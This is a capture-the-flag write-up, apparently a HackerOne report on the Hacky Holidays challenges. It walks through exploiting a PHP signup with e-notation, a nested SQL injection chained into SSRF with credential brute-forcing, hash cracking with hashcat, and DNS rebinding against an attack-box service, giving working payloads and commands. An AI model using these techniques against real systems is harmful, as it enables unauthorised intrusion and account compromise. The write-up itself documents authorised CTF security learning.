Anyway, signing up with a random user doesn’t give us much:
{F1138521}

Checking for SQLi, XSS etc again gives nothing - not even XXE works. Shoot. Ah well, let’s have a look at the source code, then.

{F1138522}
?!
Surely, the Grinch wouldn’t have forgotten the README.md file in place? Must. Check.
(https://hackyholidays.h1ctf.com/signup-manager/README.md)

# SignUp Manager

SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.

### How to Install

1) Create a directory that you wish SignUp Manager to be installed into

2) Move signupmanager.zip into the new directory and unzip it.

3) For security move users.txt into a directory that cannot be read from website visitors

4) Update index.php with the location of your users.txt file

5) Edit the user and admin php files to display your hidden content

6) You can make anyone an admin by changing the last character in the users.txt file to a Y

7) Default login is admin / password

Turns out, he did leave it in place - and it has credentials! It also tells us all users are saved to a textfile and that the very last character for each user’s entry in users.txt determines whether they are an admin or not - Y for admin, otherwise N.
However, the default credentials admin:password do not work. Maybe the users.txt file has also been left in place?
{F1138524}

Nope… What about the source code then, supposedly contained in signupmanager.zip? It is indeed available to us and contains the following files:
(https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip)
{F1138523}

admin.php seems interesting but doesn’t actually have anything of value for us. Looking through the rest of the files, it quickly becomes evident that only index.php is of any interest to us. In particular, it has all the code for the sign up process and explicitly pads the string to be saved in users.txt to a fixed length and ensures the last letter will be N to deprive us of admin privileges. The relevant code for adding users is:

function addUser($username,$password,$age,$firstname,$lastname){
    $random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
    $line = '';
    $line .= str_pad( $username,15,"#");
    $line .= $password;
    $line .= $random_hash;
    $line .= str_pad( $age,3,"#");
    $line .= str_pad( $firstname,15,"#");
    $line .= str_pad( $lastname,15,"#");
    $line .= 'N';
    $line = substr($line,0,113);
    file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
    return $random_hash;
}
[...]
if ($_POST["action"] == 'signup' && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_POST["lastname"])) {
            $username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
            if (strlen($username) &lt; 3) {
                $errors[] = 'Username must by at least 3 characters';
            } else {
                if (isset($all_users[$username])) {
                    $errors[] = 'Username already exists';
                }
            }
            $password = md5($_POST["password"]);
            $firstname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["firstname"]), 0, 15);
            if (strlen($firstname) &lt; 3) {
                $errors[] = 'First name must by at least 3 characters';
            }
            $lastname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["lastname"]), 0, 15);
            if (strlen($lastname) &lt; 3) {
                $errors[] = 'Last name must by at least 3 characters';
            }
            if (!is_numeric($_POST["age"])) {
                $errors[] = 'Age entered is invalid';
            }
            if (strlen($_POST["age"]) &gt; 3) {
                $errors[] = 'Age entered is too long';
            }
            $age = intval($_POST["age"]);
            if (count($errors) === 0) {
                $cookie = addUser($username, $password, $age, $firstname, $lastname);
                setcookie('token', $cookie, time() + 3600);
                header("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
                exit();
            }
        }

At first sight, there doesn’t seem to be any way to coerce the application into giving us admin privileges - all inputs are being forced to specific lengths by either substr (username, firstname, lastname) followed by str_pad, by MD5 hashing (password), or by simple strlencheck (age).

The addUser function then ensures fixed length so that the final string entered into users.txt is exactly 113 in length. There is just one parameter that sticks out here - age.

While the page certainly ensures it is no longer than 3 in length, computers in general allow for expansion by using e notation - 1e3 will become 1000. PHP’s is_numeric accepts this notation and it will later be expanded past the imposed length limit.

Knowing this, we can craft the following POST data in Burp and POST it to https://hackyholidays.h1ctf.com/signup-manager/:

action=signup&
username=ayayay&
password=ayayay&
age=1e3&
firstname=ayayay&
lastname=YYYYYYYYYYYYYYY

{F1138617}

Do note, lastname’s 15th character must be an uppercase Y. The 1e3 will expand into 1000 thus making the final string to enter users.txt:
ayayay#########8f74d2d878f454edb5dd310d198af797c4ca4238a0b923820dcc509a6f75849b1000ayayay#########YYYYYYYYYYYYYYY (or similar - the hash for session will differ)

This creates an admin user for us and when we log in with the above credentials, we will be greeted by the following screen and the tenth flag flag{99309f0f-1752-44a5-af1e-a03e4150757d}:
{F1138528}

We also receive a link to our next task - the 11th flag!

r3c0n_server_4fdk59/ - the 11th flag

Turns out the Grinch has been doing ‘recon’ on Santa’s activities since 2018 and uploaded evidence of his criminal conduct to the internet. Tsk tsk.

{F1138529}

The album links lead to pages with photos:
{F1138531}

The first page tells us there is an API in development but not much more. Fuzzing the url https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/ doesn’t really much except confirming there is, in fact, an endpoint under api/:

ffuf -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

api/experiments         [Status: 401, Size: 64, Words: 9, Lines: 1] (false positive, hurr)
api                     [Status: 200, Size: 2390, Words: 888, Lines: 54]
picture                 [Status: 200, Size: 21, Words: 3, Lines: 1]
uploads                 [Status: 403, Size: 145, Words: 3, Lines: 7]

{F1138530}

It tells us there are a bunch of status codes but not much else… Fuzzing r3c0n_server_4fdk59/api/ gives us a whole lot of 401s - literally anything is a 401 under api/ - and just about nothing else… Well, it does tell us it’s probably because we are coming from the wrong IP, so let’s see if we can find some SSRF or other vulnerabilities.

Just for the sake of it, let’s also run sqlmap on whatever we find.

Inspecting the first page with the album links tells us they point to album?hash=HASHVALUE example

Trying to decode the hashes gave nothing, so let’s go ahead with sqlmap:

sqlmap -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k --dbs
[...]
[14:52:35] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] recon

So it’s vulnerable, let’s enumerate the recon database:

sqlmap -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k -D recon --tables
[...]
[14:53:50] [INFO] fetching tables for database: 'recon'
Database: recon
[2 tables]
+-------+
| album |
| photo |
+-------+

Dumping them gives the following information:

Database: recon
Table: album
[3 entries]
+----+--------+-----------+
| id | hash   | name      |
+----+--------+-----------+
| 1  | 3dir42 | Xmas 2018 |
| 2  | 59grop | Xmas 2019 |
| 3  | jdh34k | Xmas 2020 |
+----+--------+-----------+

Database: recon
Table: photo
[6 entries]
+----+----------+--------------------------------------+
| id | album_id | photo                                |
+----+----------+--------------------------------------+
| 1  | 1        | 0a382c6177b04386e1a45ceeaa812e4e.jpg |
| 2  | 1        | 1254314b8292b8f790862d63fa5dce8f.jpg |
| 3  | 2        | 32febb19572b12435a6a390c08e8d3da.jpg |
| 4  | 3        | db507bdb186d33a719eb045603020cec.jpg |
| 5  | 3        | 9b881af8b32ff07f6daada95ff70dc3a.jpg |
| 6  | 3        | 13d74554c30e1069714a5a9edda8c94d.jpg |
+----+----------+--------------------------------------+

Hmm, nothing really interesting here. Let’s have a look at how pictures are loaded.

https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzliODgxYWY4YjMyZmYwN2Y2ZGFhZGE5NWZmNzBkYzNhLmpwZyIsImF1dGgiOiJlOTM0ZjQ0MDdhOWRmOWZkMjcyY2RiOWMzOTdmNjczZiJ9

Now that’s more interesting! While the picture endpoint’s data parameter doesn’t seem to be vulnerable to SQLi, its contents look base64 encoded:

atob(`eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzliODgxYWY4YjMyZmYwN2Y2ZGFhZGE5NWZmNzBkYzNhLmpwZyIsImF1dGgiOiJlOTM0ZjQ0MDdhOWRmOWZkMjcyY2RiOWMzOTdmNjczZiJ9`);
{
  "image":"r3c0n_server_4fdk59\/uploads\/9b881af8b32ff07f6daada95ff70dc3a.jpg",
  "auth":"e934f4407a9df9fd272cdb9c397f673f"
}

Sweet, looks like there might be some sort of SSRF and a leaked auth-hash! Also, we know uploaded pictures go in uploads/. Let’s try to access some really common API endpoint, like api/user, right away!

let e = btoa('{"image":"r3c0n_server_4fdk59\/api\/user","auth":"e934f4407a9df9fd272cdb9c397f673f"}');
fetch(`/r3c0n_server_4fdk59/picture?data=${e}`).then(d =&gt; d.text()).then(d =&gt; console.log(d));

Wonder what nice stuff we’ll get back now!

invalid authentication hash

… I should have known. Seems like the auth part of the JSON object is used to check the contents of image. We can add any arbitrary properties we’d like to the JSON object, and as long as we don’t fiddle with image and auth, the /picture endpoint will happily accept it.

* Several days of trying to figure out how the auth hash is encoded, hashed, encrypted etc later *

I got … nothing. Let’s go over the SQLi on the hash param - maybe we can influence the pictures displayed…

Looking back at the album and photo tables, the query is likely to select three columns so let’s try with a UNION attack and see if we can get photos from 2020 without using the hash jdh34k. Since we know the album id is 3, we can construct the following SQLi:

sql = `' union all select "3", 3, 'test' -- `;
encodeURI(`https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=${sql}`);

Gives us this link https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=’ union all select “3”, 3, 'test’%20–%20 resulting in this page:
{F1138533}

Yup, we can fetch whatever album we’d like without using the hash. So what?

* Several hours spent trying to find ways to priv esc the database or random files through uploads/ later *

Back to the SQLi again. Maybe we can do a double union? I mean, we have found nothing else, and it’s definitely fetching the pictures out of the database before displaying them. Let’s see if we can construct an SQLi on the album id fetched from the database and affect the photo filename, the third column, loaded out of photos when the album page goes to load those from the DB:

// this query assumes the /album first fetches the album id using hash
// and then plugs that album id into a query to fetch any relevant photos
// ie, the photo query's where statement becomes `album_id = 3' union select all 1, 2, 'waffle --
// this in turn will give us another row fetched where the photo url will include waffle
sql = `' union all select "3' union all select 1, 2, 'waffle -- ' -- ", 3, 'test' -- `;
encodeURI(`https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=${sql}`);

Gives us this link https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=’ union all select "3’ union all select 1, 2, 'waffle -- ’ -- ", 3, ‘test’ -- which includes a picture that can’t be displayed!

Opening the link directly results in this:

{F1138535}

The missing image link’s data payload decodes to:

atob("eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL3dhZmZsZSAtLSAiLCJhdXRoIjoiNGYwNzdlYjJhZDJmYzI3Y2Q5ZGVlMmJmZGE3NjNiZDcifQ==");
"{
  "image":"r3c0n_server_4fdk59\/uploads\/waffle -- ",
  "auth":"4f077eb2ad2fc27cd9dee2bfda763bd7"
}"

Following the link, we are presented with the following message:

{F1138534}

Since it isn’t a raw 404, it looks like picture really tried to read waffle from uploads. Apparently, the server has calculated the auth property for us and we have successfully achieved SSRF! Using the same method, let’s see if we can access the API now by trying api/user again:

sql = `' union all select "3' union all select 1, 2, '../api/user' -- ", 3, 'test' -- `;
encodeURI(`https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=${sql}`);

Resulting link
Image link
{F1138662}

Nope. Perhaps we need to specify a user? Let’s try appending ?id=1

sql = `' union all select "3' union all select 1, 2, '../api/user?id=1' -- ", 3, 'test' -- `;
encodeURI(`https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=${sql}`);

Resulting link
Image link
{F1138536}

Referencing the previous table for API status codes, id apparently isn’t valid. Bah, let’s fuzz it.

* Several hours of intense script writing later *

Armed with a node.js script, we can now automate visiting links and gathering data, thus enabling fuzzing. The script is nothing fancy and is basically the previously mentioned encoding combined with fetch, accessible from the command line for ease of use.

Fuzzing for parameters, I find that the user endpoint accepts username and password (and 0, which in hindsight probably is just the start of some other parameter I didn’t find).

* Several hours spent passionately trying to brute-force username and password later *

Empty handed, I start looking for other endpoints and discover two more by fuzzing: ping and sleep. Both return Invalid content type when accessed through picture payloads. Huh. Normally at least the ping endpoint would return data - maybe the picture endpoint expects actual image data? None the wiser, I again go back through the recon challenge, checking for missed things. Not sure exactly why, but for some reason, my mind gets stuck on SQLi. Since we have already had two layers of SQLi, maybe there’s another? Maybe we can extract a user by shoving a % in the username parameter, combining it with the error message (invalid content type) from picture? Might as well try!

Change the user part of the SQLi to user?username=% and generate the links like before:
Resulting link
Image link
{F1138662}
If there is another SQLi, this is definitely in line with how ping behaves - maybe we can use it as a boolean and extract the username? Let’s try a%:
Expected HTTP status 200, Received: 204
{F1138667}
[same procedure for b-f, all resulting in “Received: 204”]
g%:
{F1138662}
Oh, looks like it is usable and the first letter of username is a lowercase g!

* Intense script writing resumes - adding username and password brute-forcing to the script *

Letting the script run, it finally discovers that the username is likely to be grinchadmin and the password s4nt4sucks.

Plugging these into the login box at https://hackyholidays.h1ctf.com/attack-box/ leads us to this page and the 11th flag flag{07a03135-9778-4dee-a83c-7ec330728e72}:
{F1138538}

At long last, the 11th flag! But wait, the Grinch is going to DDoS Santa’s servers (as we know) and his underlings have finished preparing the target setup!

attack-box/ - the 12th and final flag

Ooooookay, we need to stop this now. Before it’s too late (hey, those buttons…). Need to protect Christmas (they look kinda nice)!

Maybe… No… I must click them!

{F1138539}

Sorry Santa! Fortunately, it seems Santa’s infrastructure isn’t so easily overpowered (phew!).

So, how to go about this then… As one would guess, fuzzing gives nothing! Yup. No surprises there, not even coal. Let’s have another look at those buttons (no touching!).

https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

Apparently, they point to launch which accepts a base64 string through the payload parameter. Decoding the parameter gives us the following object:

atob('eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==');
{
  "target":"203.0.113.33",
  "hash":"5f2940d65ca4140cc18d0878bc398955"
}

Great, another payload with another authentication hash. Maybe we can crack this one? Enter hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5($pass.$salt)
Hash.Target......: 5f2940d65ca4140cc18d0878bc398955:203.0.113.33
Time.Started.....: Tue Dec 29 22:44:30 2020 (0 secs)
Time.Estimated...: Tue Dec 29 22:44:30 2020 (0 secs)
Guess.Base.......: File (..\h1-xmas-ctf\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 17556.6 kH/s (5.91ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 5898240/14344385 (41.12%)
Rejected.........: 0/5898240 (0.00%)
Restore.Point....: 4915200/14344385 (34.27%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: omarsnork -&gt; madruboisvert55
Hardware.Mon.#1..: Temp: 41c Fan:  0% Util: 30% Core:1632MHz Mem:3802MHz Bus:16

Apparently, yes, yes we can.
Success was achieved first try by formatting a text file named hash2.txt like so:

5f2940d65ca4140cc18d0878bc398955:203.0.113.33

(curse you, hash.txt)

Then, we run hashcat like so:

.\hashcat.exe -m 10 -a 0 .\hash2.txt ..\h1-xmas-ctf\rockyou.txt

The hash2.txt format along with options -m 10 -a 0 tells hashcat to try to turn the ip 203.0.113.33 into the hash 5f2940d65ca4140cc18d0878bc398955 by using a line from rockyou.txt and stuffing them together like so: md5(LINEFROMROCKYOU . '203.0.113.33').

We are quickly informed that the salt (pepper, actually) is mrgrinch463. Nice!

Using this, let’s try our hand at creating a custom payload and see if we can change what the DDoS script attacks.

First, let’s insert an IFRAME into the attack-box and give it the id frame - this way we can easily monitor what goes on in real time. I did this by opening the inspector and editing the first DIV inside the DIV with class container, though anywhere on the webpage should do.

{F1138540}

Next, I entered this little snippet into the console:

// copy and paste md5 from here http://www.myersdaily.org/joseph/javascript/md5.js into the console
let lo = (load) =&gt; {
    load = decodeURIComponent(load);
    console.log("Running", load);
    const hash = md5(`mrgrinch463${load}`);
    const tar = `/attack-box/launch?payload=${btoa(`{"target":"${load}","hash":"${hash}"}`)}`;
    document.getElementById("frame").src = tar;
}

This let’s us easily construct a new payload and load it into the IFRAME.

Let’s try it with google as the target:

lo("google.com");

{F1138542}

Ah yes, we can create custom payloads with any target we’d like! (sorry google). Let’s shut down localhost!

lo("localhost");

{F1138543}


Same thing for 127.0.0.1, hackyholidays.h1ctf.com, and so on. So there’s some kind of protection for local targets in place… Hmm.

Running another domain, I noticed there was a slight delay between

Getting Host information for: test.com
Host resolves to x.x.x.x

and

Spinning up botnet
Launching attack against: ...

Just a few seconds, but probably enough time to perform a DNS Rebinding attack.

Let’s do it!
I control my own domain, but it won’t let me set the TTL to anything lower than 600 seconds, so the code below will reflect that.

First up, create a custom subdomain like hacky.example.com on a domain you own or through any service that lets you control TTL and destination. Point it to any IP that isn’t 18.216.153.32, the IP of the CTF (and the Grinch’s server). Set the TTL to 600 seconds.

Next, run a request against hacky.example.com and at the same time, initiate a timer to run a second request 598 seconds later (big maths incorporating load times, the alignment of the stars and what not).

setTimeout(() =&gt; { lo("hacky.example.com") }, 598000);
lo("hacky.example.com");

While waiting for the timer to run its course, leisurely change the DNS pointer for hacky.example.com to point to 127.0.0.1 and then grab a coffee or something. Take your time, brew it properly. Or a nice, warm cup of tea, as the Spiffing Brit would recommend. You might also take a moment to ponder what choices in life has led you to this point.

Once the timer is done, you will (hopefully) be greeted by this:
{F1138544}

The 12th, and final, flag is flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}. The Grinch’s server is down, Christmas has been saved, I get no coal, and maybe, just maybe, I can get that Snow Ball Launcher.

#Shout outs

Big thanks to HackerOne, Adam, Naham for this CTF - looking forward to the next one!

Also shout outs to the people of HackerOne’s discord who were very kind and helpful with hints and nudges for those of us stuck! I hope I can return the favour some day!

Impact

Lots of vulns!